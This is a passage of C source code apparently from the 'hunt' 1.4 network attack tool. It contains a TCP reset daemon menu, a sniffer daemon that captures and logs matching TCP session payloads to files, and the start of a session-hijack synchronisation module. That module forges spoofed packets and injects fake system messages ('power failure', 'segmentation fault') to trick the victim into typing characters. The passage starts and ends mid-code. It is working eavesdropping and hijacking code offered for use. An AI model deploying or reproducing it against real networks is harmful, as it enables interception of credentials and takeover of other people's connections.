nr; if (menu_choose_host_mask_ports_dfl("src ip addr/mask ports", &src_ip, &src_mask, src_ports, 0, 0, NULL) < 0) return; if (menu_choose_host_mask_ports_dfl("dst ip addr/mask ports", &dst_ip, &dst_mask, dst_ports, 0, 0, NULL) < 0) return; if ((mode = menu_choose_sdb("mode", 'b')) == -1) return; if ((syn_mode = menu_choose_char("reset only syn y/n", "yn", 'y')) == -1) return; if ((nr = menu_choose_unr("insert at", 0, list_count(&l_rst_db), list_count(&l_rst_db))) == -1) return; dbi = malloc(sizeof(struct rst_db_item)); memset(dbi, 0, sizeof(struct rst_db_item)); dbi->src_addr = src_ip; dbi->src_mask = src_mask; port_htons(src_ports); memcpy(dbi->src_ports, src_ports, sizeof(int) * (MAX_PORTS + 1)); dbi->dst_addr = dst_ip; dbi->dst_mask = dst_mask; port_htons(dst_ports); memcpy(dbi->dst_ports, dst_ports, sizeof(int) * (MAX_PORTS + 1)); dbi->rst_mode = sdb_to_int(mode); switch (syn_mode) { case 'y': dbi->rst_only_syn = 1; break; case 'n': dbi->rst_only_syn = 0; break; } list_insert_at(&l_rst_db, nr, dbi); } static void rst_mod_item(void) { struct rst_db_item *dbi; unsigned int src_ip, dst_ip; unsigned int src_mask, dst_mask; int src_ports[MAX_PORTS + 1], dst_ports[MAX_PORTS + 1]; int mode, syn_mode; int nr; rst_list_items(); if ((nr = menu_choose_unr("choose item", 0, list_count(&l_rst_db) - 1, list_count(&l_rst_db) - 1)) == -1) return; if (!(dbi = list_at(&l_rst_db, nr))) return; if (menu_choose_host_mask_ports_dfl("src ip addr/mask ports", &src_ip, &src_mask, src_ports, dbi->src_addr, dbi->src_mask, dbi->src_ports) < 0) return; if (menu_choose_host_mask_ports_dfl("dst ip addr/mask ports", &dst_ip, &dst_mask, dst_ports, dbi->dst_addr, dbi->dst_mask, dbi->dst_ports) < 0) return; if ((mode = menu_choose_sdb("mode", int_to_sdb(dbi->rst_mode))) == -1) return; if ((syn_mode = menu_choose_char("reset only syn y/n", "yn", dbi->rst_only_syn ? 'y' : 'n')) == -1) return; port_htons(src_ports); port_htons(dst_ports); dbi->src_addr = src_ip; dbi->src_mask = src_mask; memcpy(dbi->src_ports, src_ports, sizeof(int) * (MAX_PORTS + 1)); dbi->dst_addr = dst_ip; dbi->dst_mask = dst_mask; memcpy(dbi->dst_ports, dst_ports, sizeof(int) * (MAX_PORTS + 1)); dbi->rst_mode = sdb_to_int(mode); switch (syn_mode) { case 'y': dbi->rst_only_syn = 1; break; case 'n': dbi->rst_only_syn = 0; break; } } static void rst_del_item(void) { int i; struct rst_db_item *dbi; rst_list_items(); i = menu_choose_unr("item nr. to delete", 0, list_count(&l_rst_db) - 1, -1); if (i >= 0) { dbi = list_remove_at(&l_rst_db, i); free(dbi); } } void rstd_menu(void) { char *r_menu = "s/k) start/stop daemon\n" "l) list reset database\n" "a/m/d) add/mod/del entry\n" "x) return\n"; char *r_keys = "skladmx"; int run_it; run_it = 1; while (run_it) { switch (menu("reset daemon", r_menu, "rstd", r_keys, 0)) { case 's': rst_daemon_start(); break; case 'k': rst_daemon_stop(); break; case 'l': rst_list_items(); break; case 'a': rst_add_item(); break; case 'd': rst_del_item(); break; case 'm': rst_mod_item(); break; case 'x': run_it = 0; break; } } } hunt-1.4/sniff.c100644 0 0 52126 6701130370 11707 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #include "hunt.h" #include #include #include #include #include #include #include #include #define SNIFF_FILE_DIR ".sniff" int o_newline = 0; struct sniff_log { unsigned int src_addr; unsigned int dst_addr; unsigned short src_port; unsigned short dst_port; int src_to_dst; int loged_bytes; char *buf; int state; int file_close; FILE *file; struct sniff_log *next; }; struct sniff_info { unsigned int src_addr; unsigned int dst_addr; int src_mask; int dst_mask; int src_ports[MAX_PORTS + 1]; int dst_ports[MAX_PORTS + 1]; int srch_mode; char *search; int log_mode; int log_bytes; int file_close; FILE *file; struct list log; int lock_count; pthread_cond_t lock_cond; pthread_mutex_t mutex; }; static struct ifunc_item ifunc_sniff; static int sniffer_running = 0; static struct list l_sniff_pkt = LIST_INIT(struct packet, p_next[MODULE_SNIFF]); static pthread_t sniff_thr; static struct list l_sniff_db = LIST_INIT(struct sniff_log, next); #define STATE_SRCH 1 #define STATE_LOG 2 #define LOG_BUF_SIZE 2048 static void sniff_info_want(struct sniff_info *si) { pthread_mutex_lock(&si->mutex); si->lock_count++; pthread_mutex_unlock(&si->mutex); } static void sniff_info_release(struct sniff_info *si) { pthread_mutex_lock(&si->mutex); if (--(si->lock_count) == 0) pthread_cond_broadcast(&si->lock_cond); pthread_mutex_unlock(&si->mutex); } static void sniff_info_wait_for_release(struct sniff_info *si) { pthread_mutex_lock(&si->mutex); while (si->lock_count > 0) pthread_cond_wait(&si->lock_cond, &si->mutex); pthread_mutex_unlock(&si->mutex); } void free_sniff_log(struct sniff_log *slog) { if (slog->buf) free(slog->buf); if (slog->file_close) fclose(slog->file); free(slog); } void free_sniff_info(struct sniff_info *si) { struct sniff_log *slog; if (si->search) free(si->search); while ((slog = list_pop(&si->log))) free_sniff_log(slog); if (si->file && si->file_close) fclose(si->file); free(si); } static void sniff_item_print(FILE *f, int i, struct sniff_info *si) { char *str_srch_mode, *str_log_mode; char buf_src_ports[BUFSIZE], buf_dst_ports[BUFSIZE]; char buf[BUFSIZE], *b; char host_buf[BUFSIZE]; str_srch_mode = sdbmode_to_char(si->srch_mode); str_log_mode = sdbmode_to_char(si->log_mode); sprintf_db_ports(si->src_ports, buf_src_ports, sizeof(buf_src_ports), 1); sprintf_db_ports(si->dst_ports, buf_dst_ports, sizeof(buf_dst_ports), 1); b = buf; if (si->search) b += sprintf(b, "%s for X ", str_srch_mode); b += sprintf(b, "log %s %dB", str_log_mode, si->log_bytes); sprintf(host_buf, "%s/%d [%s]", host_lookup(si->src_addr, hl_mode), count_mask(si->src_mask), buf_src_ports); fprintf(f, "%2d) %-22s --> %s/%d [%s] %s\n", i, host_buf, host_lookup(si->dst_addr, hl_mode), count_mask(si->dst_mask), buf_dst_ports, buf); } static void sniff_log_item_print(FILE *f, struct sniff_info *si, struct sniff_log *slog) { char *direction; if (slog->src_to_dst) direction = "-->"; else direction = "<--"; fprintf(f, "%s [%d] %s %s [%d]\n", host_lookup(slog->src_addr, hl_mode), ntohs(slog->src_port), direction, host_lookup(slog->dst_addr, hl_mode), ntohs(slog->dst_port)); } /**************************************************************************** * * functions called from hunt * */ static inline int sniff_packet_match(struct packet *p, struct sniff_info *si) { struct iphdr *iph = p->p_iph; struct tcphdr *tcph = p->p_hdr.p_tcph; if ((si->srch_mode == MODE_SRC || si->srch_mode == MODE_BOTH || si->log_mode == MODE_SRC || si->log_mode == MODE_BOTH) && (iph->saddr & si->src_mask) == (si->src_addr & si->src_mask) && (iph->daddr & si->dst_mask) == (si->dst_addr & si->dst_mask) && port_match(tcph->source, si->src_ports) && port_match(tcph->dest, si->dst_ports)) return 1; if ((si->srch_mode == MODE_DST || si->srch_mode == MODE_BOTH || si->log_mode == MODE_DST || si->log_mode == MODE_BOTH) && (iph->saddr & si->dst_mask) == (si->dst_addr & si->dst_mask) && (iph->daddr & si->src_mask) == (si->src_addr & si->src_mask) && port_match(tcph->source, si->dst_ports) && port_match(tcph->dest, si->src_ports)) return 1; return 0; } static void func_sniff(struct packet *p, void *arg) { struct list_iterator li; struct sniff_info *si; /* * locking l_sniff_db and si->mutex is needed as the si is set to the packet message * and will be used in sniff daemon */ list_lock(&l_sniff_db); list_iter_set(&li, &l_sniff_db); while ((si = list_iter_get(&li))) { if (sniff_packet_match(p, si)) { packet_want(p); sniff_info_want(si); p->p_arg[MODULE_SNIFF] = si; list_produce(&l_sniff_pkt, p); break; } } list_iter_end(&li); list_unlock(&l_sniff_db); } /**************************************************************************************** * * functions for sniff daemon * */ void sniffer_log_print(struct sniff_info *si, struct sniff_log *slog) { char file_name[BUFSIZE], file_name_buf[BUFSIZE]; struct stat stat_buf; FILE *f; int i; if (!slog->loged_bytes) return; if (!slog->file) { if (!si->file) { sprintf(file_name_buf, "%s/%s:%d_%s:%d", SNIFF_FILE_DIR, host_lookup(slog->src_addr, HL_MODE_DEFERRED), ntohs(slog->src_port), host_lookup(slog->dst_addr, HL_MODE_DEFERRED), ntohs(slog->dst_port)); errno = 0; i = 0; strcpy(file_name, file_name_buf); while (stat(file_name, &stat_buf) >= 0 && errno != ENOENT) sprintf(file_name, "%s_%d", file_name_buf, ++i); if (!(f = fopen(file_name, "w"))) { printf("cannot open %s for writing\n", file_name); return; } slog->file = f; slog->file_close = 1; } else { slog->file = si->file; slog->file_close = 0; } } sniff_log_item_print(slog->file, si, slog); for (i = 0; i < slog->loged_bytes; i++) { if (isprint(slog->buf[i]) || (o_newline && isspace(slog->buf[i]))) fputc(slog->buf[i], slog->file); else fprintf(slog->file, "[0x%X]", (unsigned char) slog->buf[i]); } fprintf(slog->file, "\n\n"); fflush(slog->file); slog->loged_bytes = 0; } char *memfind(char *data, int data_len, char *str, int str_len) { char *d; if (data_len == 0 || str_len == 0 || data_len < str_len) return NULL; #if 0 { int i; for (i = 0; i < data_len; i++) { if (isprint(data[i])) fputc(data[i], stdout); else fprintf(stdout, "[0x%X]", (unsigned char) data[i]); } fprintf(stdout, "\n\n"); } #endif while (data_len >= str_len) { if ((d = memchr(data, str[0], data_len - str_len + 1))) { if (memcmp(d, str, str_len) == 0) { return d; } data_len -= (d - data) + 1; data = d + 1; } else break; } return NULL; } char *sniff_log_match(struct packet *p, struct sniff_info *si, struct sniff_log *slog) { struct iphdr *iph = p->p_iph; struct tcphdr *tcph = p->p_hdr.p_tcph; int m_src_to_dst, m_dst_to_src; int find; char *log_data, *retval = NULL; find = 0; m_src_to_dst = m_dst_to_src = 0; if (iph->saddr == slog->src_addr && iph->daddr == slog->dst_addr && tcph->source == slog->src_port && tcph->dest == slog->dst_port) m_src_to_dst = 1; if (iph->daddr == slog->src_addr && iph->saddr == slog->dst_addr && tcph->dest == slog->src_port && tcph->source == slog->dst_port) m_dst_to_src = 1; if (!m_dst_to_src && !m_src_to_dst) return NULL; log_data = p->p_data; switch (slog->state) { case STATE_SRCH: if ((si->srch_mode == MODE_SRC || si->srch_mode == MODE_BOTH) && m_src_to_dst) find = 1; else if ((si->srch_mode == MODE_DST || si->srch_mode == MODE_BOTH) && m_dst_to_src) find = 1; if (find) { if (si->search) { log_data = memfind(p->p_data, p->p_data_len, si->search, strlen(si->search)); if (log_data) { slog->state = STATE_LOG; } } else { log_data = p->p_data; slog->state = STATE_LOG; } } if (slog->state != STATE_LOG) break; /* go through */ case STATE_LOG: if ((si->log_mode == MODE_SRC || si->log_mode == MODE_BOTH) && m_src_to_dst) { retval = log_data; } else if ((si->log_mode == MODE_DST || si->log_mode == MODE_BOTH) && m_dst_to_src) { retval = log_data; } break; default: fprintf(stderr, "sniffer - bad state\n"); retval = NULL; break; } if (!retval) retval = (void *) 1; return retval; } char *sniffer_match(struct packet *p, struct sniff_info *si, struct sniff_log **__slog) { struct iphdr *iph = p->p_iph; struct tcphdr *tcph = p->p_hdr.p_tcph; char *retval = NULL; struct list_iterator li; struct sniff_log *slog; void *rret; list_iter_set(&li, &si->log); retval = NULL; while ((slog = list_iter_get(&li))) { if ((retval = sniff_log_match(p, si, slog))) break; } list_iter_end(&li); if (!retval && p->p_data_len) { slog = malloc(sizeof(struct sniff_log)); if (ntohs(tcph->dest) >= 1024 && ntohs(tcph->source) < 1024) { slog->src_addr = iph->daddr; slog->dst_addr = iph->saddr; slog->src_port = tcph->dest; slog->dst_port = tcph->source; } else { slog->src_addr = iph->saddr; slog->dst_addr = iph->daddr; slog->src_port = tcph->source; slog->dst_port = tcph->dest; } slog->file = NULL; slog->file_close = 0; slog->src_to_dst = 0; slog->loged_bytes = 0; slog->buf = NULL; slog->state = si->search ? STATE_SRCH : STATE_LOG; slog->next = NULL; list_push(&si->log, slog); retval = sniff_log_match(p, si, slog); /* ok, request - resolve addresses for future use */ host_lookup(slog->src_addr, HL_MODE_DEFERRED); host_lookup(slog->dst_addr, HL_MODE_DEFERRED); } if (retval) { if (p->p_hdr.p_tcph->rst || p->p_hdr.p_tcph->fin) { /* ok, wee don't handle half open connection */ sniffer_log_print(si, slog); rret = list_remove(&si->log, slog); assert(rret); free_sniff_log(slog); retval = NULL; } } if (retval == (void *) 1) retval = NULL; if (retval) *__slog = slog; else *__slog = NULL; return retval; } #if 0 static void log_data(FILE *f, char *data, int data_len) { char *d; for (d = data; d < data + data_len; d++) { if (isprint(*d) || (o_newline && isspace(*d))) fputc(*d, f); else fprintf(f, "[0x%X]", (unsigned char) *d); } } #endif void sniffer_log(char *data, struct packet *p, struct sniff_info *si, struct sniff_log *slog) { int data_len, space, i; if (!data) return; if (!slog->buf) slog->buf = malloc(LOG_BUF_SIZE); data_len = p->p_data_len - (data - p->p_data); #if 0 printf("log data_len = %d: --", data_len); log_data(stdout, data, data_len); printf("\n"); #endif if (data_len || slog->loged_bytes >= si->log_bytes) { struct iphdr *iph = p->p_iph; if (slog->src_to_dst && slog->src_addr == iph->daddr) { sniffer_log_print(si, slog); slog->src_to_dst = 0; } else if (!slog->src_to_dst && slog->src_addr == iph->saddr) { sniffer_log_print(si, slog); slog->src_to_dst = 1; } } while (data_len) { if ((space = LOG_BUF_SIZE - slog->loged_bytes) < 0) space = 0; i = min(data_len, space); memcpy(&slog->buf[slog->loged_bytes], data, i); slog->loged_bytes += i; data += i; data_len -= i; if (slog->loged_bytes == LOG_BUF_SIZE) { sniffer_log_print(si, slog); slog->state = si->search ? STATE_SRCH : STATE_LOG; } } if (slog->loged_bytes >= si->log_bytes) { sniffer_log_print(si, slog); slog->state = si->search ? STATE_SRCH : STATE_LOG; } } static void *sniffer(void *arg) { struct sniff_info *si; struct sniff_log *slog; struct packet *p; char *data; pthread_sigmask(SIG_BLOCK, &intr_mask, NULL); setpriority(PRIO_PROCESS, getpid(), 10); while ((p = list_consume(&l_sniff_pkt, NULL))) { si = p->p_arg[MODULE_SNIFF]; if ((data = sniffer_match(p, si, &slog))) sniffer_log(data, p, si, slog); sniff_info_release(si); packet_free(p); } return NULL; } /***************************************************************************************** * * management * */ static int sniff_daemon_init(void) { struct stat stat_buf; if (stat(SNIFF_FILE_DIR, &stat_buf) == 0) { if (!S_ISDIR(stat_buf.st_mode)) { printf(SNIFF_FILE_DIR " isn't directory\n"); return -1; } } else { if (errno == ENOENT) { if (mkdir(SNIFF_FILE_DIR, 0700) < 0) { printf(SNIFF_FILE_DIR " can't be created\n"); return -1; } printf("directory " SNIFF_FILE_DIR " created\n"); } else { printf(SNIFF_FILE_DIR " error\n"); return -1; } } return 0; } static void start_sniff(void) { if (sniffer_running) { printf("sniffer already running\n"); return; } if (sniff_daemon_init()) return; list_produce_start(&l_sniff_pkt); pthread_create(&sniff_thr, NULL, (void *(*)(void *)) sniffer, NULL); ifunc_sniff.func = func_sniff; ifunc_sniff.arg = NULL; list_enqueue(&l_ifunc_tcp, &ifunc_sniff); sniffer_running = 1; printf("sniffer started\n"); } static void stop_sniff(void) { struct list_iterator li; struct packet *p; struct sniff_info *si; struct sniff_log *slog; if (!sniffer_running) { printf("sniffer isn't running\n"); return; } list_remove(&l_ifunc_tcp, &ifunc_sniff); /* flush packets from l_sniff_pkt */ while ((p = list_pop(&l_sniff_pkt))) { si = p->p_arg[MODULE_SNIFF]; sniff_info_release(si); packet_free(p); } list_produce_done(&l_sniff_pkt); pthread_join(sniff_thr, NULL); list_lock(&l_sniff_db); list_iter_set(&li, &l_sniff_db); while ((si = list_iter_get(&li))) { while ((slog = list_pop(&si->log))) free_sniff_log(slog); } list_iter_end(&li); list_unlock(&l_sniff_db); sniffer_running = 0; printf("sniffer stopped\n"); } void print_sniff_daemon(void) { if (sniffer_running) { if (pthread_kill(sniff_thr, 0) != 0) { pthread_join(sniff_thr, NULL); sniff_thr = (pthread_t) 0; sniffer_running = 0; set_tty_color(COLOR_BRIGHTRED); printf("Sniffer daemon failed - bug\n"); set_tty_color(COLOR_LIGHTGRAY); } else printf("S"); } } /* * user interface */ static void sniff_item_log_print(FILE *f, int *l_nr, struct sniff_info *si) { struct list_iterator li; struct sniff_log *slog; char *state; char host_buf[BUFSIZE]; list_iter_set(&li, &si->log); while ((slog = list_iter_get(&li))) { switch (slog->state) { case STATE_LOG: state = "LOG"; break; case STATE_SRCH: state = "SRCH"; break; default: state = "ERR"; break; } sprintf(host_buf, "%s [%s]", host_lookup(slog->src_addr, hl_mode), port_lookup(slog->src_port, hl_mode)); fprintf(f, "\t%-24s -> %s [%s] loged=%dB state=%s\n", host_buf, host_lookup(slog->dst_addr, hl_mode), port_lookup(slog->dst_port, hl_mode), slog->loged_bytes, state); if (++(*l_nr) % lines_o == 0) lines_o_press_key(); } list_iter_end(&li); } static void sniff_list_db(int all) { struct list_iterator li; struct sniff_info *si; int i = 0; int l_nr = 0; list_iter_set(&li, &l_sniff_db); while ((si = list_iter_get(&li))) { sniff_item_print(stdout, i++, si); if (++l_nr % lines_o == 0) lines_o_press_key(); if (all) sniff_item_log_print(stdout, &l_nr, si); } list_iter_end(&li); } static void sniff_add_item(void) { char buf[BUFSIZE], *buf_p; char file_name[BUFSIZE], file_name_buf[BUFSIZE]; struct sniff_info *si; unsigned int src_ip, dst_ip; int src_mask, dst_mask; int src_ports[MAX_PORTS + 1], dst_ports[MAX_PORTS + 1]; int srch_mode, len; int log_mode, log_bytes; int nr; FILE *f; if (menu_choose_host_mask_ports_dfl("src ip addr/mask ports", &src_ip, &src_mask, src_ports, 0, 0, NULL) < 0) return; if (menu_choose_host_mask_ports_dfl("dst ip addr/mask ports", &dst_ip, &dst_mask, dst_ports, 0, 0, NULL) < 0) return; buf_p = NULL; srch_mode = 'b'; switch (menu_choose_char("want to search for y/n", "yn", 'y')) { case 'y': if ((srch_mode = menu_choose_sdb("srch_mode", 'b')) == -1) return; if (menu_choose_string("search for", buf, sizeof(buf), NULL) < 0) return; buf_p = buf; break; }; if ((log_mode = menu_choose_sdb("log mode", 's')) < 0) return; if ((log_bytes = menu_choose_unr("log bytes", 0, 1000000000, 64)) < 0) return; if (menu_choose_string("log file name [by conn]", file_name_buf, sizeof(file_name_buf), NULL) < 0) file_name_buf[0] = 0; if ((nr = menu_choose_unr("insert at", 0, list_count(&l_sniff_db), list_count(&l_sniff_db))) == -1) return; if (file_name_buf[0]) { sprintf(file_name, "%s/%s", SNIFF_FILE_DIR, file_name_buf); if (!(f = fopen(file_name, "a+"))) { printf("can't open %s for writing\n", file_name); return; } } else f = NULL; si = malloc(sizeof(struct sniff_info)); memset(si, 0, sizeof(struct sniff_info)); pthread_mutex_init(&si->mutex, NULL); pthread_cond_init(&si->lock_cond, NULL); si->lock_count = 0; list_init(&si->log, offset_of(struct sniff_log, next)); si->src_addr = src_ip; si->src_mask = src_mask; port_htons(src_ports); memcpy(si->src_ports, src_ports, sizeof(int) * (MAX_PORTS + 1)); si->dst_addr = dst_ip; si->dst_mask = dst_mask; port_htons(dst_ports); memcpy(si->dst_ports, dst_ports, sizeof(int) * (MAX_PORTS + 1)); si->srch_mode = sdb_to_int(srch_mode); if (buf_p) { len = strlen(buf_p) + 1; si->search = malloc(len); assert(si->search); memcpy(si->search, buf_p, len); } si->log_mode = sdb_to_int(log_mode); si->log_bytes = log_bytes; if (f) { si->file = f; si->file_close = 1; } else si->file_close = 0; list_insert_at(&l_sniff_db, nr, si); } static void sniff_mod_item(void) { char buf[BUFSIZE], *buf_p; struct sniff_info *si; struct sniff_log *slog; unsigned int src_ip, dst_ip; int src_mask, dst_mask; int src_ports[MAX_PORTS + 1], dst_ports[MAX_PORTS + 1]; int srch_mode, len; int log_mode, log_bytes; int nr; sniff_list_db(0); if ((nr = menu_choose_unr("choose item", 0, list_count(&l_sniff_db) - 1, list_count(&l_sniff_db) - 1)) == -1) return; if (!(si = list_at(&l_sniff_db, nr))) return; if (menu_choose_host_mask_ports_dfl("src ip addr/mask ports", &src_ip, &src_mask, src_ports, si->src_addr, si->src_mask, si->src_ports) < 0) return; if (menu_choose_host_mask_ports_dfl("dst ip addr/mask ports", &dst_ip, &dst_mask, dst_ports, si->dst_addr, si->dst_mask, si->dst_ports) < 0) return; buf_p = NULL; srch_mode = 'b'; switch (menu_choose_char("want to search for y/n", "yn", 'y')) { case 'y': if ((srch_mode = menu_choose_sdb("srch_mode", int_to_sdb(si->srch_mode))) < 0) return; if (menu_choose_string("search for", buf, sizeof(buf), si->search) < 0) return; buf_p = buf; break; }; if ((log_mode = menu_choose_sdb("log mode", int_to_sdb(si->log_mode))) < 0) return; if ((log_bytes = menu_choose_unr("log bytes", 0, 1000000000, si->log_bytes)) < 0) return; port_htons(src_ports); port_htons(dst_ports); list_lock(&l_sniff_db); pthread_mutex_lock(&si->mutex); while (si->lock_count > 0) pthread_cond_wait(&si->lock_cond, &si->mutex); while ((slog = list_pop(&si->log))) free_sniff_log(slog); si->src_addr = src_ip; si->src_mask = src_mask; memcpy(si->src_ports, src_ports, sizeof(int) * (MAX_PORTS + 1)); si->dst_addr = dst_ip; si->dst_mask = dst_mask; memcpy(si->dst_ports, dst_ports, sizeof(int) * (MAX_PORTS + 1)); si->srch_mode = sdb_to_int(srch_mode); if (buf_p) { free(si->search); len = strlen(buf_p) + 1; si->search = malloc(len); assert(si->search); memcpy(si->search, buf_p, len); } si->log_mode = sdb_to_int(log_mode); si->log_bytes = log_bytes; pthread_mutex_unlock(&si->mutex); list_unlock(&l_sniff_db); } static void sniff_del_item(void) { int i; struct sniff_info *si; sniff_list_db(0); i = menu_choose_unr("item nr. to delete", 0, list_count(&l_sniff_db) - 1, -1); if (i >= 0) { list_lock(&l_sniff_db); si = list_remove_at(&l_sniff_db, i); sniff_info_wait_for_release(si); free_sniff_info(si); list_unlock(&l_sniff_db); } } void newline_option(void) { switch (menu_choose_char("Print newline,... as newline,...", "yn", o_newline ? 'y' : 'n')) { case 'y': o_newline = 1; break; case 'n': o_newline = 0; break; default: break; } } void sniff_options(void) { char *o_menu = "n) print new line,... as new line,...\n" "x) return\n"; char *o_keys = "nx"; int run_it; run_it = 1; while (run_it) { switch (menu("sniff options", o_menu, "sniffopt", o_keys, 0)) { case 'n': newline_option(); break; case 'x': run_it = 0; break; } } } void sniff_menu(void) { char *r_menu = "s/k) start/stop sniff daemon\n" "l) list sniff database c) list sniff connection\n" "a/m/d) add/mod/del sniff item\n" "o) options\n" "x) return\n"; char *r_keys = "sklcamdox"; int run_it; run_it = 1; while (run_it) { switch (menu("sniff daemon", r_menu, "sniff", r_keys, 0)) { case 's': start_sniff(); break; case 'k': stop_sniff(); break; case 'l': sniff_list_db(0); break; case 'c': sniff_list_db(1); break; case 'a': sniff_add_item(); break; case 'm': sniff_mod_item(); break; case 'd': sniff_del_item(); break; case 'o': sniff_options(); break; case 'x': run_it = 0; break; } } } hunt-1.4/synchijack.c100644 0 0 34202 6664063324 12737 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #include "hunt.h" #include #include #include #include #include #include #include #include /* * functions with ACK storm avoidance */ void func_hijack_dst_sync(struct packet *p, struct conn_info *arg) { #if 0 static unsigned int last_seq = 0; static unsigned int last_ack = 0; #endif if (p->p_iph->saddr == arg->dst_addr && p->p_iph->daddr == arg->src_addr && p->p_hdr.p_tcph->source == arg->dst_port && p->p_hdr.p_tcph->dest == arg->src_port) { #if 0 if (last_seq == p->p_hdr.p_tcph->seq && last_ack == p->p_hdr.p_tcph->ack_seq) { printf("."); fflush(stdout); return; } last_seq = p->p_hdr.p_tcph->seq; last_ack = p->p_hdr.p_tcph->ack_seq; #endif packet_want(p); list_produce(&l_hijack_conn, p); } } void func_hijack_src_sync(struct packet *p, struct conn_info *arg) { #if 0 static unsigned int last_seq = 0; static unsigned int last_ack = 0; #endif if (p->p_iph->saddr == arg->src_addr && p->p_iph->daddr == arg->dst_addr && p->p_hdr.p_tcph->source == arg->src_port && p->p_hdr.p_tcph->dest == arg->dst_port) { #if 0 if (last_seq == p->p_hdr.p_tcph->seq && last_ack == p->p_hdr.p_tcph->ack_seq) { printf("."); fflush(stdout); return; } last_seq = p->p_hdr.p_tcph->seq; last_ack = p->p_hdr.p_tcph->ack_seq; #endif packet_want(p); list_produce(&l_hijack_conn, p); } } int user_hijack_sync(struct user_conn_info *uci) { struct conn_info *ci; int retval; if (!(ci = conn_get(uci))) { printf("connection isn't available\n"); retval = 1; } else { if ((retval = hijack_sync(ci)) < 0) printf("sync failed\n"); conn_free(ci); } return retval; } static char *suggest_sync_msg(int first) { static int count = 0; static int old_count = 0; char *retval; char *m1[] = {"\r\nmsg from root: power failure - try to type %d chars\r\n", "\r\nfuck you type %d chars immediately\r\n", "\r\nI/O failure detected, %d chars will solve it\r\n", "\r\nmachine is going down within 5 min, type %d chars\r\n", "\r\nsegmentation fault - %d chars to resume\r\n" }; char *m2[] = {"\r\npower failure detected\r\n... power resumed, ok\r\n", "\r\nready\r\n", "\r\nI/O resumed\r\n", "\r\nmachine shutdown canceled\r\n", "\r\nyou have new mail\r\n" }; if (first) { retval = m1[count]; old_count = count; count = (count + 1) % (sizeof(m1) / sizeof(char *)); } else { retval = m2[old_count]; } return retval; } volatile int need_read, need_write; volatile int sync_was_canceled; volatile int f_sync_done; int nw_was_negative; static void hijack_sync_init_msg(struct conn_info *ci) { int len, msg_len; char buf[128]; struct tcp_spec ts; /* * print message to user */ need_read = ntohl(ci->dst.next_d_seq) - ntohl(ci->src.next_seq); need_write = ntohl(ci->dst.next_seq) - ntohl(ci->src.next_d_seq); printf("user have to type %d chars and print %d chars to synchronize connection\n", need_read, need_write); ctrl_c_prompt(); if (need_read <= 0) { /* printf("ok, handle %d chars myself\n", need_read);*/ return; } if (need_write <= 0) { /* printf("ok, handle %d print chars myself\n", need_write);*/ return; } len = need_write - need_read; msg_len = sprintf(buf, suggest_sync_msg(1), need_read); if (len >= msg_len) { len = msg_len; memset(&ts, 0, sizeof(ts)); ts.saddr = ci->dst_addr; ts.daddr = ci->src_addr; ts.sport = ci->dst_port; ts.dport = ci->src_port; ts.src_mac = ci->src.dst_mac; ts.dst_mac = ci->src.src_mac; ts.seq = ci->src.next_d_seq; ts.ack_seq = ci->src.next_seq; ts.window = ci->dst.window ? ci->dst.window : htons(242); ts.id = htons(ntohs(ci->dst.id) + 1); ts.ack = 1; ts.psh = 1; ts.rst = 0; ts.data = buf; ts.data_len = len; need_write -= len; #if 0 printf("write send/src seq = %u, ack = %u\n", ntohl(ts.seq), ntohl(ts.ack_seq)); printf(" dst seq = %u, ack = %u\n", ntohl(ci->dst.next_seq), ntohl(ci->dst.next_d_seq)); #endif send_tcp_packet(&ts); } else { /* * be silent */ } } /* * well we have to be faster than destination end because it will send * packet which causes our packet to be dropped, so we need send it * as fast as posible */ #ifdef SYNC_FAST pthread_cond_t cond_hijack_sync; pthread_mutex_t mutex_hijack_sync; #endif static int need_read_want_n = 0; static int need_write_want_n = 0; static void need_read_write_init() { need_read_want_n = -100000; need_write_want_n = -100000; } static void need_read_write_negative(struct conn_info *ci) { struct tcp_spec ts; char buf[1400]; int len; /* * well - after sending something we get usualy ack storm */ if (need_read > 0 && need_write > 0) return; if (need_read_want_n > need_read || need_write_want_n > need_write) return; if (need_read < need_write) len = -need_read; else len = -need_write; if (len > sizeof(buf)) len = sizeof(buf); memset(buf, ' ', len); ts.saddr = ci->src_addr; ts.daddr = ci->dst_addr; ts.sport = ci->src_port; ts.dport = ci->dst_port; ts.src_mac = ci->dst.dst_mac; ts.dst_mac = ci->dst.src_mac; ts.seq = ci->dst.next_d_seq; ts.ack_seq = ci->dst.next_seq; ts.window = ci->src.window ? ci->src.window : htons(242); ts.ack = 1; ts.psh = 1; ts.rst = 0; ts.data = buf; ts.data_len = len; send_tcp_packet(&ts); need_read += len; need_write += len; need_read_want_n = need_read; need_write_want_n = need_write; } static void need_write_positive(struct conn_info *ci, char *data, int data_len) { struct tcp_spec ts; char buf[BUFSIZE]; char fin_msg[BUFSIZE]; int fin_msg_len; int len; sprintf(fin_msg, suggest_sync_msg(0)); fin_msg_len = strlen(fin_msg); if (!data) { #if 0 /* it doesn't work properly in ACK storm - some bug fixed maybe it will work*/ if ((len = need_write - fin_msg_len) <= 0) len = need_write; if (len > sizeof(buf)) len = sizeof(buf); if (len == fin_msg_len) memcpy(buf, fin_msg, len); else memset(buf, ' ', len); #else len = need_write; if (len > sizeof(buf)) { len = sizeof(buf); memset(buf, ' ', len); } else { if (len > fin_msg_len) { memset(buf, ' ', len - fin_msg_len); memcpy(buf + len - fin_msg_len, fin_msg, fin_msg_len); } else memcpy(buf, fin_msg + (fin_msg_len - len), len); } data = buf; data_len = len; } #endif memset(&ts, 0, sizeof(ts)); ts.saddr = ci->dst_addr; ts.daddr = ci->src_addr; ts.sport = ci->dst_port; ts.dport = ci->src_port; ts.src_mac = ci->src.dst_mac; ts.dst_mac = ci->src.src_mac; ts.seq = ci->src.next_d_seq; ts.ack_seq = ci->src.next_seq; ts.window = ci->dst.window ? ci->dst.window : htons(242); ts.id = htons(ntohs(ci->dst.id) + 1); ts.ack = 1; ts.psh = 1; ts.rst = 0; ts.data = data; ts.data_len = data_len; send_tcp_packet(&ts); need_write -= data_len; #if 0 printf("write send/src seq = %u, ack = %u\n", ntohl(ts.seq), ntohl(ts.ack_seq)); printf(" dst seq = %u, ack = %u\n", ntohl(ci->dst.next_seq), ntohl(ci->dst.next_d_seq)); #endif } static void need_read_positive(struct packet *p, struct conn_info *ci) { struct tcp_spec ts; memset(&ts, 0, sizeof(ts)); ts.saddr = ci->dst_addr; ts.daddr 